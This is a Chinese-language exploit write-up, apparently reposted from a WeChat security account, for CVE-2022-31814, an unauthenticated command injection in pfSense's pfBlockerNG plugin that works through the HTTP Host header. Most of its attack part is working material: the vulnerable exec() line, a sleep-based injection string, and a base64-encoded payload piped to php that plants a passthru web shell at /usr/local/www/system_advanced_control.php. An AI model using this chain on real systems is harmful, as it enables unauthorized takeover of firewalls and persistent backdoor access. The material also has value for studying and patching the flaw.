未经身份验证远程代码执行(CVE-2022-31814)
pfSense防火墙pfBlockerNG插件
这里pfSense防火墙的插件pfBlockerNG小于>=2.1.4_26
pfBlockerNG手册:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
这个漏洞是在文件/usr/local/www/pfblockerng/www/index.php,该文件是用于记录和查询DNSBL的数据,因为用于查询,所以代码所使用的PHP函数exec()会将数据直接可以传递到执行命令当中。
0x01 CVE-2022-31814
// Query DNSBL Alias for Domain List.
$query = str_replace('.', '.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' "{$query}60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
在上面的代码中传递的$_SEVE['HTTP_HOST']是可以控制输入,会导致参数发生更改。可以通过请求头篡改参数。
0x02 字符验证
对字符的限制几乎没有,PHP函数阻止了重定向(>和<)、双引号(")和&
Nginx Web服务器会无法识别标头的(/),返回400
所以只能构造利用的可用字符为以下:
(|)、(;)、(‘)、以及空格
0x03 验证
在exec()函数中复制原始命令,然后修改一下,也就是说做一个有效的POC,需要以下几点:
1、关闭单引号
2、指定搜索的目录
3、用分号做命令断开
4、注释或添加额外的单引号
如延迟注入:[' *; sleep 5; ']
/usr/bin/grep -l '"' [注入参数] 60 IN A' /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep -l '"' *;sleep 5; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*
验证确实可行,注入有效
0x04 后门部分
构建shell的时候,默认情况“base64”没有在pfSense中安装,但我们可以重新编写成base64编码,使用Python来进行解码之后给php-cli接口就行,比如
<?echo("666");?>
base64编码后:
4oCLPD9lY2hvKCI2NjYiKTs/PuKAiw==
用python的base64进行“防君子不防小人”并将内容都放进 | php
/usr/bin/grep -l ' "' * ; echo '4oCLPD9lY2hvKCI2NjYiKTs/PuKAiw==' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*
可以看到没有问题
之后构建后门利用载荷
在/usr/local/www/创建sys_advanced_control.php用来调用执行并获取命令
"/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a); $a=fopen(
PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+
Exploit利用
欢迎大家一起加群讨论学习和交流
树不修,长不直;人不学,没知识
原文始发于微信公众号(衡阳信安):pfSense防火墙未授权 RCE 漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论